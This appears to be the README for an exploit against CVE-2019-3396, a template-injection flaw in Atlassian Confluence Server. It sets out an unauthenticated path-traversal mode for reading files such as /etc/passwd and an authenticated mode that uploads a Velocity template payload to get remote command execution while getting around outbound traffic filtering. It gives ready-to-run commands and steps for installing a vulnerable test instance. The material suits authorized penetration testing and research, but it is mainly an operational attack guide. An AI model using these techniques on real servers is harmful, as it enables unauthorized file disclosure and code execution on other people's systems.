Exploit for CVE-2019-3396 (https://www.cvedetails.com/cve/CVE-2019-3396/) Widget Connector macro in Atlassian
Confluence Server server-side template injection.

While Metasploit module works perfectly fine it has a limitation that to gain RCE outbound FTP request is being made
from the target Confluence server towards attacker's server where the Velocity template with the payload is being
hosted. If this is not possible, for example, because network where the target Confluence server is located filters all
outbound traffic, alternative approach is needed. This exploit, in addition to original exploit implements this
alternative approach by first uploading the template to the server and then loading it with original vulnerability from
local file system. The limitation is that to upload a file, a valid session is needed for a non-privileged user. Any
user can upload a file to the server by attaching the file to his "personal space".
There are two modes of the exploit:
1. Exploiting path traversal for file disclosure and directory listings.
2. RCE by uploading a template file with payload to the server.
In case where network is filtered and loading remote template is not possible and also you do not have a low-privileged
user session, you can still exploit the '_template' parameter to browse the server file system by using the first mode
of this exploit. Conveniently, application returns file content as well as directory listing depending on to what path
is pointing to. As in original exploit no authentication is needed for this mode.
Limitations of path traversal exploit:
- not possible to distinguish between non-existent path and lack of permissions
- no distinction between files and directories in the output
If you have ability to authenticate to the server and have enough privileges to upload files use the second mode. A
regular user probably has enough privileges for this since each user can have their own personal space where they
should be able to add attachments. This exploit automatically finds the personal space, or creates one if it does not
exists, a file with Velocity template payload. It then uses the original vulnerability but loads the template file
with payload from local filesystem instead from remote system.
Prerequisite of RCE in this exploit:
- authenticated session is needed
- knowledge of where attached files are stored on the file system - if it is not default location then use first mode
to find it, should be in Confluence install directory under ./attachments subdirectory
Usage
- list /etc folder on Confluence server hosted on http://confluence.example.com
python exploit.py -th confluence.example.com fs /etc
- get content of /etc/passwd on same server but through a proxy
python exploit.py -th confluence.example.com -px http://127.0.0.1:8080 fs /etc/passwd
- execute 'whoami' command on the same server (this will upload a template file with payload to the server using
existing session)
python exploit.py -th confluence.example.com rce -c JSESSIONID=ABCDEF123456789ABCDEF123456789AB "whoami"
Tested on Confluence versions:
6.12.1
To test the exploit:
1. Download Confluence trial version for version 6.12.1
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
(to find this URL go to download page for the latest version, pick LTS release Linux 64 Bit, turn on the browser
network tools to capture HTTP traffic, click Submit, take the URL from request towards 'product-downloads' and
change the version in URL to be 6.12.1)
SHA256: 679b1c05cf585b92af9888099c4a312edb2c4f9f4399cf1c1b716b03c114e9e6 atlassian-confluence-6.12.1-x64.bin
2. Run the binary to install it, for example on Ubuntu 20.04. Use "Express Install" and everything by default.
chmod +x atlassian-confluence-6.12.1-x64.bin
sudo ./atlassian-confluence-6.12.1-x64.bin
3. Open the browser to configure initial installation, when you get to license window copy the server ID.
4. Create account at https://my.atlassian.com/ and request for new trial license using server ID.
5. Activate the license and finish the installation with default options.
6. Create a user and login with him to go through initial user setup and get the session id for RCE part of the
exploit.
7. Run the exploit (see usage above).
